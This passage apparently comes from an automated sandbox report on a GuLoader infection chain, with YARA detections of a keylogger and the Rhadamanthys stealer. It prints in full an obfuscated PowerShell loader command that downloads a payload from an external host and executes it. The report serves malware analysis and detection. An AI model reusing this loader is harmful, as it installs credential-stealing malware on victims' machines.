TaarnhaOpslmmerRegnskatThongdinBrneopd1Discolo7unaccus Agrgodk=Forvirr GradphoG PindsveKonkurrtDokefor-InterceCGrshoppo TilmelnScrapint DobbeleRadarovn Ingratt Begynd Tactin$VagarisCacidprorBisquesuSagtmodsBlaamusaCincinadGemmernoForhandvJeronymaAxolotle Bovnen2Overfie ');Fundmong (Krse 'Stagnin$DisseisgSpotligl KapninobaarebubHenfaldaHighflilMouthbr: PaastaOFortrylpToddlerdThiosula FriandtTrophieeOleoster FinaliiBrigadenUnacetigPalaeoc Brodni=Triolog Derover[BimanasS KokosbyAmyunnasPrototatPrologkeKvotastmFunctio.LskedriCTaabelioInsularnsudsingvpietisme TicklerWarnisstEnuncia] tuberc: Eyelet:AfvisesFSkriverrRespecioQuisquimOutactiBIntestia Runddes Rangore Starbl6Yachtie4uselskaSPignolitGodarterPaganisi DrawknnAdgangsgHeintje(Pursier$CalicosGCatenataContempzflercife kvidisnInsubdupHessianaIatroterJambedntUnconcenKongres1Statsli7Sceneme)Ruttera ');Fundmong (Krse 'trident$EksegetgBelivesldistriboUdspndtb PascalaHendecal Unquel:Medflgkb BilabieFodnotek Bobbysr Knappea AssocieBryologf PrivattEstopgeeFgtekaa2 Paavir Fiskekr=Daahind Inaugur[DecastcS knivmuyHalvlegs Scrawlt Subchoepositifm Kjrsga.PolymorToutliveeDialogix CloturtHepatot. PalamiE PhoebenOksefilc TekstkoAssessodMuseebai EmpighnUnscrapg Turist]valgret:Kylling:UnspeciAgluepotS SponsoCBombaziIFulviavIHmroege.FiberedGMetropoeEmulsoit ClavatSKneadmetVerbenarAphthoniMaaltidnAffiesvgTogfrer(Ekshibi$ProportOCodaspopvallisedTaenioiaMumacryt rammeve BrevskrCocompoi iviedmnRetsinsgMajuscu)Hylests ');Fundmong (Krse 'Reneger$Pickersgfllesanl misorgoOutchidbNedskriaMulticol Afhaar:ForsmdebAnnielleSubthrek HalogerBiofysiaStatsameCymlingflettiettPatienteinjuran3 samfun=Randrus$OvercrabAffaldseUtopistkrdviolerAutomata Hugsple PredoufKissemitEkstempeFodring2Tediums. UdviklsKameelsu decinobSkggedes AnfordtVenligtr JuveleiMisnumbnInstillgfrinumr(Talwars2Sgraffi7Sclerot2 Skjold2Nonsupp6Mormonb0Somatat,Planlgn2 Desill3 Rainin7 Anstan2Minilec9slidsni)Baragno ');Fundmong $bekraefte3;"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000001.00000002.2827287313.000002316EE70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:47:45
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:47:48
Start date:	19/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	06:47:59
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-BreakthSAmphibil SkremaecarnifieCloverlpKursusf Reklaps1 Injuri}Oversate UnderwlTotalvgs TiresreErsalfa{SammenhSAlansbotFacettea Syphilr forerutPreulti-AncyroiSCassocklArbejdseSluicedeEarthsepAndenda Mlterrn1Kommena;SexagesFCirkusmu KonklunnonfinidContagimFrynsenoSheiladnsaltishgAttribu Moniti$Ventoseb Verniee LowerskGangliorHeteropaZoopatheFlettonfHoefligtMendelieJoshrou0Selvbet0Fotogra}Fagudda ');Fundmong (Krse ' Udledn$FarrisagGroteskl PresteoSkalperbValnddeaUnscrewl Piezom: FortalC LyderurKingleau BlockasparathyaStrandhdIntensioOlympiavHaandpaaMystacaeChasses7Irregja=Danefst(BinderiT RektoreCooreeus PaagretArtisko- LuftruPUnpropia Fodgngt DorylihKontakt Mathiah$OutmeasCTriartirUnasceruKnistensConjureaNormeridScriptuo BlgetrvPostlapaSlagsvre bookpr2 Overvr)Stakero ') ;}Fundmong (Krse 'estriat$GubbinsgEltonkllHermeneo BlidgrbDemissia SubjeklLuftala:AbrasaxGanuextraSkriveuzDisgusteFinansgnKristjap TaarnhaOpslmmerRegnskatThongdinBrneopd1Discolo7unaccus Agrgodk=Forvirr GradphoG PindsveKonkurrtDokefor-InterceCGrshoppo TilmelnScrapint DobbeleRadarovn Ingratt Begynd Tactin$VagarisCacidprorBisquesuSagtmodsBlaamusaCincinadGemmernoForhandvJeronymaAxolotle Bovnen2Overfie ');Fundmong (Krse 'Stagnin$DisseisgSpotligl KapninobaarebubHenfaldaHighflilMouthbr: PaastaOFortrylpToddlerdThiosula FriandtTrophieeOleoster FinaliiBrigadenUnacetigPalaeoc Brodni=Triolog Derover[BimanasS KokosbyAmyunnasPrototatPrologkeKvotastmFunctio.LskedriCTaabelioInsularnsudsingvpietisme TicklerWarnisstEnuncia] tuberc: Eyelet:AfvisesFSkriverrRespecioQuisquimOutactiBIntestia Runddes Rangore Starbl6Yachtie4uselskaSPignolitGodarterPaganisi DrawknnAdgangsgHeintje(Pursier$CalicosGCatenataContempzflercife kvidisnInsubdupHessianaIatroterJambedntUnconcenKongres1Statsli7Sceneme)Ruttera ');Fundmong (Krse 'trident$EksegetgBelivesldistriboUdspndtb PascalaHendecal Unquel:Medflgkb BilabieFodnotek Bobbysr Knappea AssocieBryologf PrivattEstopgeeFgtekaa2 Paavir Fiskekr=Daahind Inaugur[DecastcS knivmuyHalvlegs Scrawlt Subchoepositifm Kjrsga.PolymorToutliveeDialogix CloturtHepatot. PalamiE PhoebenOksefilc TekstkoAssessodMuseebai EmpighnUnscrapg Turist]valgret:Kylling:UnspeciAgluepotS SponsoCBombaziIFulviavIHmroege.FiberedGMetropoeEmulsoit ClavatSKneadmetVerbenarAphthoniMaaltidnAffiesvgTogfrer(Ekshibi$ProportOCodaspopvallisedTaenioiaMumacryt rammeve BrevskrCocompoi iviedmnRetsinsgMajuscu)Hylests ');Fundmong (Krse 'Reneger$Pickersgfllesanl misorgoOutchidbNedskriaMulticol Afhaar:ForsmdebAnnielleSubthrek HalogerBiofysiaStatsameCymlingflettiettPatienteinjuran3 samfun=Randrus$OvercrabAffaldseUtopistkrdviolerAutomata Hugsple PredoufKissemitEkstempeFodring2Tediums. UdviklsKameelsu decinobSkggedes AnfordtVenligtr JuveleiMisnumbnInstillgfrinumr(Talwars2Sgraffi7Sclerot2 Skjold2Nonsupp6Mormonb0Somatat,Planlgn2 Desill3 Rainin7 Anstan2Minilec9slidsni)Baragno ');Fundmong $bekraefte3;"
Imagebase:	0xba0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2552391162.0000000008590000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2541535117.0000000005841000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2552866056.000000000A363000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:48:17
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0xd40000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000007.00000003.2571764775.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000007.00000003.2585733508.0000000024FD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000007.00000003.2576092102.00000000055F3000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:48:37
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\dialer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\dialer.exe"
Imagebase:	0x510000
File size:	32'256 bytes
MD5 hash:	E4BD77FB64DDE78F1A95ECE09F6A9B85
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000003.2578876174.0000000005930000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000003.2578561473.0000000005710000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000009.00000003.2576375337.0000000003520000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000009.00000003.2666601703.0000000005685000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.8%
Total number of Nodes:	18
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848E89A6A Relevance: 15.2, Strings: 11, Instructions: 1410COMMON

Download Yara Rule

Strings

87n, xrefs: 00007FF848E8A08F
P7n, xrefs: 00007FF848E8A52E
07n, xrefs: 00007FF848E8A05D
H7n, xrefs: 00007FF848E8A3C6
6n, xrefs: 00007FF848E89B36
x6n, xrefs: 00007FF848E8A687
x6n, xrefs: 00007FF848E8A4A5
(7n, xrefs: 00007FF848E8A02B
7n, xrefs: 00007FF848E89FC9
@7n, xrefs: 00007FF848E8A1B5
@7n, xrefs: 00007FF848E8A0D8

Memory Dump Source

Source File: 00000001.00000002.2849117218.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID: 7n$(7n$07n$87n$@7n$@7n$H7n$P7n$x6n$x6n$6n
API String ID: 0-2561439285
Opcode ID: 0b842faa0fbff550446a851e9a3ba466cf1dfe592820566f717a07933ec9dd2c
Instruction ID: 12a83c260a8407a9bcee9cfbc8dc60afd97898625d88a0431107f605ddc6cd54
Opcode Fuzzy Hash: 0b842faa0fbff550446a851e9a3ba466cf1dfe592820566f717a07933ec9dd2c
Instruction Fuzzy Hash: 05B24F30A1CA4A8FEB99EB28C8557A973E2FF55340F5441B9D40DC7296DF38AC82CB45

Function 00007FF848E8CA60 Relevance: 4.1, Strings: 2, Instructions: 1563
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x6n, xrefs: 00007FF848E8D32C
x6n, xrefs: 00007FF848E8D3B0

Memory Dump Source

Source File: 00000001.00000002.2849117218.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID: x6n$x6n
API String ID: 0-3933258741
Opcode ID: dd9ba8cb8c3805bb2f6a54b2fbc3181e5b91a29e3fe7f9bb26eba4fc06e275e1
Instruction ID: a454f4e3c2d539a12332e1cf61193137994b18d098923862e3e1c6c164020d0f
Opcode Fuzzy Hash: dd9ba8cb8c3805bb2f6a54b2fbc3181e5b91a29e3fe7f9bb26eba4fc06e275e1
Instruction Fuzzy Hash: 63729D30A1CA4A8FEB98EB28C4556B973E2FF99344F544179D40ED3296DF39A842CB44

Function 00007FF848E95A76 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

r9B8, xrefs: 00007FF848E95AE8
r9B8, xrefs: 00007FF848E95F0B

Memory Dump Source

Source File: 00000001.00000002.2849117218.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID: r9B8$r9B8
API String ID: 0-2917399790
Opcode ID: ba9656de41c3312acb75eca44dfff9f953b32e6d1d02c480a5536826f4738bab
Instruction ID: 7d8902ee4413f4aaf44bd203279fc7c1f4d9157fec264f4c3ddfff3028851bce
Opcode Fuzzy Hash: ba9656de41c3312acb75eca44dfff9f953b32e6d1d02c480a5536826f4738bab
Instruction Fuzzy Hash: D9F1B53090CA8E8FEBA8EF28C8557E93BD1FF54354F04426EE84DC7291DB7498458B86

Function 00007FF848E96822 Relevance: 3.0, Strings: 2, Instructions: 460
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

r9B8, xrefs: 00007FF848E96C87
r9B8, xrefs: 00007FF848E96898

Memory Dump Source

Source File: 00000001.00000002.2849117218.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID: r9B8$r9B8
API String ID: 0-2917399790
Opcode ID: 57539ac98aa42c4776a22463f4677439c809e112e386d3bbe89fbfc4ce667184
Instruction ID: 10c54c72fc4453e3ded912b57b8803158fa5174221b1c392c32cde472ffcf776
Opcode Fuzzy Hash: 57539ac98aa42c4776a22463f4677439c809e112e386d3bbe89fbfc4ce667184
Instruction Fuzzy Hash: 85E1D33090CA8E8FEBA8EF28C8557E977D1FB54354F14826ED84DC72A1DF78A8448785

Function 00007FF848E8AF80 Relevance: 1.8, APIs: 1, Instructions: 334
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.COMBASE ref: 00007FF848E8B1EB

Memory Dump Source

Source File: 00000001.00000002.2849117218.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e80000_powershell.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 1a8a13c7247f74652af91a716a411aae1585e34c6151bf31b2f8dfc27dfeada2
Instruction ID: 754665841a7f6dc15a52ec1a81655658afc685802f0a5b8baf910dfe45c9a30b
Opcode Fuzzy Hash: 1a8a13c7247f74652af91a716a411aae1585e34c6151bf31b2f8dfc27dfeada2
Instruction Fuzzy Hash: BA910571A0CA498FEB5CEB6C98497B97BE1FB99321F04427ED00DC3292DF3468468795

Function 00007FF848E8E5B9 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IUnknown_QueryInterface_Proxy.RPCRT4 ref: 00007FF848E8E668

Memory Dump Source

Source File: 00000001.00000002.2849117218.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e80000_powershell.jbxd

Similarity

API ID: Interface_ProxyQueryUnknown_
String ID:
API String ID: 2522245112-0
Opcode ID: 98dd243f64a4e4d1b947d860d69e2f219703e2f751da5d81bbe8783600689419
Instruction ID: 562da1a0d699962f5698db27403f7eb4936bd696d30009b0ea97744677dbbe8d
Opcode Fuzzy Hash: 98dd243f64a4e4d1b947d860d69e2f219703e2f751da5d81bbe8783600689419
Instruction Fuzzy Hash: FB31287191CB884FD729AB6C9C1A6BA7FF4EB56321F04417FE089C3152DB246446CB86

Function 00007FF848F5328D Relevance: .4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2850351977.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eeafb39882a18320920be99d1280aa52de208b4e373adc283c6401737e2fa09
Instruction ID: dfa3755b5be7ef6308fa8a313425ae09fe7253b300be83e304c65ef929a9e2d7
Opcode Fuzzy Hash: 1eeafb39882a18320920be99d1280aa52de208b4e373adc283c6401737e2fa09
Instruction Fuzzy Hash: DDB12531E0EA8A4FE796EB2C98555B5BBE1EF57290F8801FAD00DC71D3DE28AC058355

Function 00007FF848F533B2 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2850351977.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b1c1f6b04db24386fd15bb6e626623c9d493d02aa17c62126df652aebc59328
Instruction ID: 44ec46b42eef9f7c9b42b33cadaa6ff2bb32824d2a311ec7a481042c98de5813
Opcode Fuzzy Hash: 1b1c1f6b04db24386fd15bb6e626623c9d493d02aa17c62126df652aebc59328
Instruction Fuzzy Hash: 0F31D432E1EA864FF7AAA72C5815178AAD1EF476A0F9801FAE40DC71D3DF1C6C14421A

Non-executed Functions

Function 00007FF848E87058 Relevance: 14.4, Strings: 11, Instructions: 626COMMON

Download Yara Rule

Strings

x6n, xrefs: 00007FF848E8741A
x6n, xrefs: 00007FF848E87250
x6n, xrefs: 00007FF848E8769F
x6n, xrefs: 00007FF848E874AE
x6n, xrefs: 00007FF848E8737F
x6n, xrefs: 00007FF848E87441
x6n, xrefs: 00007FF848E872EB
x6n, xrefs: 00007FF848E871BC
x6n, xrefs: 00007FF848E8770C
x6n, xrefs: 00007FF848E871E3
x6n, xrefs: 00007FF848E87678

Memory Dump Source

Source File: 00000001.00000002.2849117218.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID: x6n$x6n$x6n$x6n$x6n$x6n$x6n$x6n$x6n$x6n$x6n
API String ID: 0-296243896
Opcode ID: 1794bc431c44b99540e7c5b8776aefae6092375c31f72dd2fb384f2f24b04e50
Instruction ID: 246a8a0154c20af8e824e6c928629525d6767057008a82ca9f8daf246781f55c
Opcode Fuzzy Hash: 1794bc431c44b99540e7c5b8776aefae6092375c31f72dd2fb384f2f24b04e50
Instruction Fuzzy Hash: 9C022561E1D94A4FE399EA2C985A779B7D2FF98780F9441BAC00DC72D2CF386C428345

Analysis Process: powershell.exePID: 4856, Parent PID: 5708COMMON

Executed Functions

Function 0731A15D Relevance: 15.7, Strings: 12, Instructions: 704COMMON

Download Yara Rule

Strings

4'jq, xrefs: 0731A56E
4'jq, xrefs: 0731B444
4'jq, xrefs: 0731B1ED
4'jq, xrefs: 0731B42E
4'jq, xrefs: 0731B3A0
4'jq, xrefs: 0731A6CD
4'jq, xrefs: 0731A57A
4'jq, xrefs: 0731A6C1
4'jq, xrefs: 0731A740
4'jq, xrefs: 0731B203
4'jq, xrefs: 0731A74C
4'jq, xrefs: 0731B38A

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$4'jq
API String ID: 0-2265583125
Opcode ID: 49f33c243e37133078c48054b8b1073fa91b6b570dd3fa9952ba1b46a93eb6cd
Instruction ID: fa9216809a7224d3f2d1f91e7d0307785658de46fbf3c3f15990ab8d46efb09d
Opcode Fuzzy Hash: 49f33c243e37133078c48054b8b1073fa91b6b570dd3fa9952ba1b46a93eb6cd
Instruction Fuzzy Hash: 71625EB4A402189FDB14DB64C991BAEBBB2EF84304F1085E5D9096F395CB359E81CF92

Function 07315608 Relevance: 9.1, Strings: 7, Instructions: 301COMMON

Download Yara Rule

Strings

4'jq, xrefs: 073158D0
:, xrefs: 07315608
4'jq, xrefs: 0731594F
4'jq, xrefs: 073158C4
4'jq, xrefs: 07315943
4'jq, xrefs: 07315776
4'jq, xrefs: 0731576A

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$:
API String ID: 0-1641663427
Opcode ID: 6259469b4a7a024d67de668bd2bd20fac979dc6ee4ffe2a2c460baade71c6225
Instruction ID: dd67ab1ea8f532e6110e44a23d04cfd6aab041e470d21b974ac94f86aab30cb6
Opcode Fuzzy Hash: 6259469b4a7a024d67de668bd2bd20fac979dc6ee4ffe2a2c460baade71c6225
Instruction Fuzzy Hash: B3C181B4B00214DFDB28DB54C991BAEBBB2EF84304F1084A9D5096F395CB75DD86CB92

Function 07314E28 Relevance: 7.8, Strings: 6, Instructions: 339COMMON

Download Yara Rule

Strings

4'jq, xrefs: 07314F5E
4'jq, xrefs: 07314F52
4'jq, xrefs: 07315136
4'jq, xrefs: 073150B7
4'jq, xrefs: 073150C3
4'jq, xrefs: 07315142

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$4'jq$4'jq$4'jq
API String ID: 0-3975720690
Opcode ID: 6c7e3769300b0299d5fdb9fefa679bcff442e34a2b5a266ee2372ad1d0de9a2d
Instruction ID: 21ff073a669a70a3a768c31c659fe61913f884fc8ccf2ce1baadb3ab18ff591a
Opcode Fuzzy Hash: 6c7e3769300b0299d5fdb9fefa679bcff442e34a2b5a266ee2372ad1d0de9a2d
Instruction Fuzzy Hash: 5BD1B2B4B002059FDB18DB68C551BAEBBB2EF85304F15C429D8056F395CB76DC46CBA2

Function 0731F308 Relevance: 5.7, Strings: 4, Instructions: 656COMMON

Download Yara Rule

Strings

4'jq, xrefs: 0731F650
4'jq, xrefs: 0731F646
4'jq, xrefs: 0731F7A0
4'jq, xrefs: 0731F7AA

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$4'jq
API String ID: 0-4000621977
Opcode ID: 90d2c1fe2bcd88314de7ea3437a06c443722bb045e20396760b81d13d1e79f4a
Instruction ID: 0f6b17a026dd7e059fa0c9707c168eda5e95acf8120adcbcdbbd496fdaea9342
Opcode Fuzzy Hash: 90d2c1fe2bcd88314de7ea3437a06c443722bb045e20396760b81d13d1e79f4a
Instruction Fuzzy Hash: 262237F1B053139FE7199A78881177ABBE6AFC1310F1484BAD809DF695DB36C841C7A2

Function 02DACF68 Relevance: 4.3, Strings: 3, Instructions: 519COMMON

Download Yara Rule

Strings

Hnq, xrefs: 02DAD02E
$jq, xrefs: 02DAD4E7
$jq, xrefs: 02DAD182

Memory Dump Source

Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID: Hnq$$jq$$jq
API String ID: 0-266315406
Opcode ID: 9661dc0d474f586a7bdb2346d0d3a8615f83a009ddbbc4d01c67adabb821c254
Instruction ID: 7ecf17ca3687d0c9f3805feb58cf9c250bdf6191dfff09ddf9b519488d196f2d
Opcode Fuzzy Hash: 9661dc0d474f586a7bdb2346d0d3a8615f83a009ddbbc4d01c67adabb821c254
